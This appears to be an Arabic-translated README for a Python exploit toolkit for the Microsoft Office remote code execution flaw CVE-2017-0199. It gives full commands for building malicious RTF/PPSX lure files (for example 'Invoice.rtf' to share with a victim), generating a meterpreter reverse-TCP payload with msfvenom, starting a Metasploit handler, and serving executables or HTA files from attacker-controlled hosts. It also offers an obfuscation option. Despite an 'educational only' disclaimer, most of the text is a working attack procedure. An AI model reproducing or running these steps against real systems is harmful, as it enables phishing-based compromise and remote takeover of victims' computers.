
مجموعة أدوات استغلال Python لـ CVE-2017-0199 (RCE في Microsoft Office) التي تنشئ ملفات RTF/PPSX خبيثة وتوصل حمولات Metasploit أو مخصصة للضحايا.
أداة الاستغلال CVE-2017-0199 - v4.0 هي سكربت بايثون مفيد يوفّر لاختباري الاختراق والباحثين الأمنيين طريقة سريعة وفعّالة لاختبار تنفيذ التعليمات البرمجية عن بُعد (RCE) في Microsoft Office. يمكنها إنشاء ملف RTF/PPSX خبيث وتسليم حمولة metasploit / meterpreter / أي حمولة أخرى إلى الضحية دون أي إعداد معقّد.
هذا البرنامج لأغراض تعليمية فقط. لا تستخدمه دون إذن. ينطبق إخلاء المسؤولية المعتاد، ولا سيما أنني (bhdresh) غير مسؤول عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف التي تقدّمها هذه البرامج. لا يتحمّل المؤلف أو أي مزوّد إنترنت أي مسؤولية عن المحتوى أو إساءة استخدام هذه البرامج أو أي مشتقات منها. باستخدامك هذا البرنامج فإنك تقبَل أن أي ضرر (فقدان بيانات، تعطّل النظام، اختراق النظام، وما إلى ذلك) ناتج عن استخدام هذه البرامج ليس مسؤولية bhdresh.
أخيرًا، هذا تطوير شخصي، يرجى احترام فلسفته وعدم استخدامه لأمور سيئة!
ترخيص CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
أُضيفت القدرات التالية إلى السكربت
- إنشاء ملف PPSX خبيث
- وضع الاستغلال لملف PPSX المُنشأ
- تحديث قالب template.ppsx
الإصدار: Python 2.7.13
1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver remote payload
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) Start toolkit in exploit mode to deliver custom HTA file
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.doc (This URL will be included in malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
-t RTF|PPSX (default = RTF) Type of the file to be generated.
-x 0|1 (default = 0) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.
-M exp Start exploitation mode
Exploitation:
-t RTF|PPSX (default = RTF) Type of file to be exolited.
-H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l"
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
@nixawk على عينة RTF، و@Li Haifei، و@bhdresh
من الواضح أنني لست مطوّرًا بدوام كامل، لذا توقّع بعض الأعطال البسيطة.
يرجى الإبلاغ عن الأخطاء والمشكلات عبر https://github.com/bhdresh/CVE-2017-0199/issues/new